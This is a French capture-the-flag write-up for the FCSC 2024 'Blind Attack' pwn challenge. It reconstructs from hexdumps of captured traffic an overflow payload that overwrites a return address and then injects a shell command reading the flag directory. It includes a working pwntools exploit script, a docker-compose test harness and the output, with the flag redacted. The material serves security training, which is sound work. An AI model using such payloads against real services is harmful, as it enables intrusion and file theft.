Solution de U03 pour Blind Attack

intro pwn attaque-défense x86/x64

6 janvier 2025

En regardant les paquets dans lesquels un flag a été sorti, nous voyons qu’en envoyant un paquet de données spécialement formaté lors de la création d’une nouvelle note il est possible de passer une commande shell arbitraire et de lire un flag.

00000000  5b 6e 5d 65 77 20 6e 6f  74 65 2e 0a 5b 72 5d 65  |[n]ew note..[r]e|
00000010  74 72 69 65 76 65 20 6e  6f 74 65 20 73 75 6d 6d  |trieve note summ|
00000020  61 72 79 2e 0a                                    |ary..|
00000025
00000000  6e 0a                                             |n.|
00000002
00000000  5b 2a 5d 20 43 75 72 72  65 6e 74 20 73 65 73 73  |[*] Current sess|
00000010  69 6f 6e 3a 20 2f 66 63  73 63 2f 48 78 41 45 35  |ion: /fcsc/HxAE5|
00000020  76 58 61 44 76 42 77 77  67 61 57 73 74 32 41 72  |vXaDvBwwgaWst2Ar|
00000030  64 70 38 44 73 77 37 47  78 43 2f 74 41 78 39 71  |dp8Dsw7GxC/tAx9q|
00000040  4d 48 38 41 5a 33 38 75  34 47 57 4d 71 72 73 4d  |MH8AZ38u4GWMqrsM|
00000050  41 56 79 32 57 50 39 64  37 65 0a 43 6f 6e 74 65  |AVy2WP9d7e.Conte|
00000060  6e 74 3a 20 0a                                    |nt: .|
00000065
00000000  61 68 6b 64 67 4f 30 66  62 69 66 6b 71 4c 73 54  |ahkdgO0fbifkqLsT|
00000010  36 79 43 75 79 63 30 30  33 47 74 45 6e 33 4e 4d  |6yCuyc003GtEn3NM|
00000020  54 38 4e 4c 35 70 76 72  50 37 32 33 7a 4f 6c 47  |T8NL5pvrP723zOlG|
00000030  47 42 79 6b 43 37 50 6c  6b 59 4d 37 76 7a 6b 57  |GBykC7PlkYM7vzkW|
00000040  54 71 69 66 30 6a 42 46  69 36 6a 71 33 69 4e 71  |Tqif0jBFi6jq3iNq|
00000050  61 74 31 43 35 79 35 49  67 4d 71 6d 6c 55 52 38  |at1C5y5IgMqmlUR8|
00000060  32 32 42 39 4f 5a 72 79  44 67 70 65 46 59 73 34  |22B9OZryDgpeFYs4|
00000070  42 7a 44 4f 7a 75 45 34  34 70 72 46 36 42 68 49  |BzDOzuE44prF6BhI|
00000080  4f 78 4d 73 6b 37 6c 54  69 78 36 6f 35 52 47 67  |OxMsk7lTix6o5RGg|
00000090  6d 65 71 36 4c 6d 6d 74  4f 48 79 34 4c 52 32 34  |meq6LmmtOHy4LR24|
000000a0  58 38 4c 54 31 30 76 33  59 6d 35 35 56 59 6f 66  |X8LT10v3Ym55VYof|
000000b0  52 50 77 59 41 79 6c 75  43 41 55 6c 52 42 41 71  |RPwYAyluCAUlRBAq|
000000c0  4d 78 4e 4b 51 56 37 4b  32 65 47 72 63 73 44 48  |MxNKQV7K2eGrcsDH|
000000d0  4b 72 51 6f 70 7a 62 64  4c 6f 6c 64 4b 71 61 7a  |KrQopzbdLoldKqaz|
000000e0  6b 4f 33 36 6a 66 64 6e  e5 16 40 00 00 00 00 00  |kO36jfdn..@.....|
000000f0  0a                                                |.|
000000f1
00000000  63 61 74 20 2f 66 63 73  63 2f 73 62 70 65 66 6e  |cat /fcsc/sbpefn|
00000010  55 45 70 78 61 37 79 71  46 77 57 4a 67 55 34 33  |UEpxa7yqFwWJgU43|
00000020  70 64 68 73 36 6a 41 32  50 2f 2a 20 7c 20 62 61  |pdhs6jA2P/* | ba|
00000030  73 65 36 34 20 7c 20 74  72 20 2d 64 20 27 5c 6e  |se64 | tr -d '\n|
00000040  27 0a                                             |'.|
00000042

Ceci nous donne le programme suivant:

#!/usr/bin/python3

from pwn import *

EXPLOIT = bytes.fromhex(\
'4a 74 42 6a 78 5a 4d 32 73 46 5a 4d 6f 47 65 39' + \
'7a 31 6a 65 4f 53 73 78 34 51 73 38 7a 49 5a 69' + \
'65 37 65 45 5a 53 54 51 58 66 65 73 47 75 6f 68' + \
'79 58 79 55 46 76 30 5a 70 56 67 59 51 63 48 6a' + \
'79 4f 6b 31 6f 75 78 69 6a 42 6f 78 4b 6a 74 69' + \
'66 44 4e 65 6d 59 54 38 57 6a 6a 61 53 4c 51 48' + \
'6c 30 42 76 78 36 71 38 49 41 5a 44 4c 44 73 4e' + \
'4f 34 45 6e 66 4e 45 55 67 39 57 30 4c 49 31 50' + \
'65 72 36 6d 70 4b 67 43 37 6b 53 6a 6c 34 48 67' + \
'34 39 5a 58 33 50 78 66 44 32 6c 49 64 51 6b 41' + \
'6f 56 51 57 43 63 64 64 78 30 68 71 32 65 68 6b' + \
'59 39 63 37 48 41 7a 36 72 70 42 30 41 6a 56 4b' + \
'61 55 66 71 32 32 4f 54 69 79 79 4d 4b 72 77 33' + \
'6f 7a 6f 31 4e 74 6a 56 6a 4e 44 6e 69 5a 44 6b' + \
'34 56 71 47 64 37 78 4b e5 16 40 00 00 00 00 00' + \
'0a')

conn = remote('localhost',4000)
conn.recvuntil(b'summary.\n', drop=True)
conn.sendline(b'n')
conn.recvline()
conn.recvline()

conn.send(EXPLOIT + b'cat /fcsc/ddJ565eGcAPFVkHZZFqXtrYe2vmVUQv/*' + bytes.fromhex('0a'))

x = conn.recvlinesS(timeout=1)
for l in x:
    print(l)

conn.close()

Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc pour attendre le temps nécessaire pour laisser au container le temps de démarrer:

#!/bin/bash

set -e

if [ ! -f docker-compose.yml ]; then
    wget https://hackropole.fr/challenges/fcsc2024-pwn-blind-attack/docker-compose.public.yml -O docker-compose.yml
fi

docker-compose up -d

 while ! nc -z localhost 4000; do sleep 1; done

python3 007_Blind_attack.py

 docker-compose down

Le résultat est le suivant:

Creating network "007_blind_attack_default" with the default driver
Creating 007_blind_attack_shovel_1 ... done
Creating 007_blind_attack_blind-attack_1 ... done
[+] Opening connection to localhost on port 4000: Done
FCSC_xxxxxxxx
[*] Closed connection to localhost port 4000
Stopping 007_blind_attack_shovel_1 ... done
Stopping 007_blind_attack_blind-attack_1 ... done
Removing 007_blind_attack_shovel_1 ... done
Removing 007_blind_attack_blind-attack_1 ... done
Removing network 007_blind_attack_default